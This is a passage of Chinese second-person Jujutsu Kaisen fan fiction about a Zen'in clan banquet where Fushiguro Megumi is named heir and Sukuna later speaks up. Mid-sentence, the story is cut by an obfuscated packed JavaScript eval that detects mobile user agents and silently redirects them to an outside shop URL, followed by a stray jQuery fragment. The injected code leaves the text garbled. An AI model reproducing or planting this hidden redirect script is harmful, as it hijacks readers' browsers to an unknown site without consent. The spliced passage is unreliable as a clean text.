看着这三人一前一后走进来,禅院家众人皆是一副见了鬼的模样。

    然而伏黑甚尔却全然无视了那些人,径直穿过狭长的席间,紧挨着禅院直毘人的位置坐了下来。

    说来这还是你第一次在这条时间线里见到伏黑甚尔,虽然脑海深处还残留着上一次被他杀死的记忆,但奇怪的是,此刻你的内心并没有波澜,也没有仇恨。

    或许是因为你知道自己本就不会真正死去,又或者这个时间线伏黑甚尔是另外一个独立的个体。

    你单手撑着下巴,饶有兴致地打量着坐在伏黑甚尔左右两侧的两人。

    左边那个染着金绿色头发,耳骨带着几枚时髦耳钉的是禅院家家主禅院直毘人的儿子,禅院直哉。

    他正翘着二郎腿,神情狂妄,时不时用看垃圾一样的眼神环顾四周,目光辗转间不偏不倚与你撞了个正着。

    似乎是没想到这里竟然会有女性出席,眉头一挑就勾起一抹刻薄的冷笑,刚想开口嘲讽你几句女人就该安分守己,不要妄想抛头露面之类的混账话,就被五条悟一个眼神瞪了回去。

    禅院直哉到嘴边的话硬生生地又咽了回去,他自知五条悟的地位,只能悻悻挪开视线。

    五条悟这才满意地收回目光,转过头凑到你身边向你邀功:“怎么样?我刚才的眼神是不是特别有杀伤力?”

    你轻笑出声,“是是是,你最厉害了。”

    你再次看向伏黑甚尔的右侧,那个头发酷似海胆的少年与嚣张跋扈的禅院直哉截然不同。

    他端端正正地坐在那,那双漆黑的眼眸低垂着,仿佛周遭的所有喧嚣都与他无关。

    但那张脸,却和伏黑甚尔如出一辙,简直是从一个模子刻出来的。

    你猜想,他便是五条悟最初所说的,伏黑甚尔的孩子,并且也是那继承禅院家祖传术式“十影”之人。

    “十影”最为强大的是其最后一个式神,五条悟也曾提及,古有记载五条家的“六眼”持有者与禅院家“十影”持有者同归于尽的事件。

    你不由得猜想,在不久的将来,这位少年是否能成长为比肩五条悟的存在。

    正当你琢磨着要不要把这个少年抢到你们阵营时,禅院家的佣人将禅院真希和禅院真依两姐妹带到了和室门口。

    一直坐在座位上装模作样的禅院直哉一看见她们,那张嘴一如既往地开始阴阳怪气:“哎呀,这不是小真希和小真依吗?你们是走错路了吗?洗衣房可不在这里哦。”

    听到这句充满恶意的话,原本就满心抗拒的禅院真依脸色一红,转身就要往外走,但被一旁的禅院真希拉了回来。

    就在这时,五条悟朝着她们的方向招了招手,热情地招呼道:“真希同学,真依同学,快来坐这边!”

    有了五条悟的撑腰,禅院真希紧绷的身体才稍微放松了些。她拉着还在发愣的禅院真依,径直走向了夏油杰旁边的空位。

    “真希,真依,好久不见。”夏油杰望着她们,露出了一个温和的笑容。

    一旁的家入硝子也朝她们点了点头,缓缓说道:“没关系的哦,有悟在呢。”

    这是姐妹两个第一次参加禅院家族的宴会,五条悟留意到她们的局促,伸手冲她们摆了摆,笑得一脸灿烂:“这是你们的家呀,用不着这么拘谨!禅院家主你说对吗?”

    五条悟的视线轻飘飘地落在了主位的禅院直毘人身上,笑容依旧挂在嘴角,眼底却是冷得没有半分温度,仿佛在无声宣告,要是说一个不字,这宴会也干脆别举办了。

    禅院直毘人哪能读不懂五条悟的言外之意,他顺着五条悟的话说道:“没错,这儿是你们的家,不必太过拘谨。”

    而禅院直哉此刻的心情却糟糕到了极点,他的指尖紧攥桌沿,满心憋屈无处发泄。

    今天先是被五条悟当众压了气焰,自家父亲转头又优待真希姐妹,甚至连特意请来的伏黑甚尔眼里也只有他的亲生儿子,全然无视他的示好。

    更让他火大的是,他隐隐察觉到父亲即将宣布的事情与下一任家主之位有关。

    你浑然没察觉席间的暗流涌动,你正在为碗里被五条悟堆满的菜肴犯愁,就在你暗自叹气又要浪费食物的时候,上座的禅院直毘人突然放下筷子,抬手拍了两下。

    清脆的声音让原本喧闹的和室安静了下来,所有人的目光都朝他汇聚了过去。

    禅院直毘人环视了一圈众人,而后缓缓开口说道:“今日喊大家来呢,是想向大家宣布一件事情......”

    他的目光越过儿子禅院直哉,落在了那个一直冷着脸仿佛永远置身事外的少年身上,一字一顿地宣告道:“待老夫死后,禅院家下一任家主之位会传位给拥有十种影法术的伏黑惠。”

    整个和室是死一般的寂静。

    “啪嗒”一声,不知是谁手里的筷子掉在了地上。紧接着,禅院家所有亲眷都齐刷刷地看向了禅院直哉,而加茂家的亲眷则是看好戏般也朝着他看了过去。

    禅院直哉的指节绷得泛白,他的嘴唇哆嗦着,硬是一个字都没憋出来。他怎么也没想到,自己势在必得的家主之位,竟然就这么被一个外姓小子给截胡了!

    他那老糊涂的父亲也真是的!就因为那小子有“十影”,连亲儿子都不管不顾了。

    而处于舆论中心的伏黑惠,却并没有对这个突如其来的头衔表现出太多的惊喜或激动。

    眼见吵闹声越来越大,本就沉默的伏黑甚尔终于被烦得皱起了眉,那张带着疤痕的脸上浮现出毫不掩饰的厌恶。

    “够了。”

    “从刚才开始,你们这群家伙就一直和蚊子一样吵个不停,是对这件事有什么不满吗?”

    禅院家众人虽然打心底里看不起伏黑甚尔,在场的却没有一人敢出言顶嘴,毕竟伏黑甚尔虽然没有咒力,但实力仍实打实的在他们之上。

    一时间,和室里鸦雀无声。

    五条悟和你默契地变成了吃瓜群众,这出家族伦

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588316|203171||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    理剧属实是让你们看得津津有味。

    “多亏了直毘人老头子,不然还看不到这么精彩的一出戏呢。”五条悟凑到你身边,压低声音调侃道。

    “不过话说回来,禅院家家主当着所有人的面宣布这件事,他的亲儿子会怎么想。”你顺手拿起筷子,将碗里堆积如山的菜肴随手挑了一块放进嘴里。

    五条悟的手肘轻轻触了你的小臂,眼梢朝前方偏了偏,示意你看禅院直哉的表情。

    你顺着他视线看去,便见禅院直哉正死死盯着坐在主位的父亲,他紧咬着后槽牙,眼中满是不甘与屈辱,却又不敢直接发作。

    这场家宴最终在僵持不下的气氛中草草终止。

    加茂家的亲眷们见势不妙,纷纷找借口先行告辞离开了这个是非之地。而五条悟则被禅院直毘人单独留了下来,说是有些关于咒术界的要事需要商讨。

    趁着这个空档,夏油杰和家入硝子便提议带你和虎杖悠仁在禅院家的宅子里逛一逛,看看风景透透气。

    说来倒是也巧,你们刚走出回廊没几步路,一行人就迎面遇上了伏黑甚尔父子俩。

    你们都不想在这和对方有过多的牵扯,所有人都装作没看见对方般各走各的,就在两拨人即将错开时,沉睡了极长一段时间的两面宿傩,竟在此刻毫无预兆地苏醒了。

    虎杖悠仁的侧脸突然裂开一道缝隙,一张属于诅咒之王的嘴赫然浮现。虎杖悠仁脸色大变,几乎是条件反射般抬起手想捂住那张嘴,但终究还是慢了一步。

    “哟,这就是继承十种影法术的小鬼吗?你叫什么名字?”

    那道声音在回廊间突兀地响起,夏油杰和家入硝子同时停下了脚步,而唯一和伏黑甚尔有过交集的你,转瞬间便挡在了几人身前。

    你知道伏黑甚尔是什么性子,这个男人拥有碾压一切的躯体,若是激怒了他,他可不会在乎那些明面上的客套。

    然而还没等你开口缓和气氛,站在伏黑甚尔身后的伏黑惠就已经先一步有了动作。

    少年的眼底沉静无波,他并未理睬那张奇怪的嘴,而是看向了还在不停拍打自己脸的虎杖悠仁。

    “我叫伏黑惠。”

    虎杖悠仁完全没想到伏黑惠会主动和自己搭话,有些不可置信地转头看向你:“他......是在和我说话吗?”

    得到你肯定的答复后,虎杖悠仁这才恍然大悟。

    他朝着伏黑惠鞠了一个九十度的躬,大声地做起了自我介绍:“我叫虎杖悠仁!你叫我悠仁就好了!啊对了,我老家是仙台的,现在在东京咒术高专上学。我最喜欢的食物是盖饭和面条,最喜欢做的事情是……”

    虎杖悠仁滔滔不绝地说着自己的爱好,然而说到一半的时候却忽然感到后背一凉,他下意识地抬起头,恰好对上了伏黑甚尔的视线。

    “是我的废话太多了!对不起!”虎杖悠仁一溜烟地躲到了你的身后,怯生生地探出半颗脑袋,不安地偷瞄着对面的伏黑甚尔。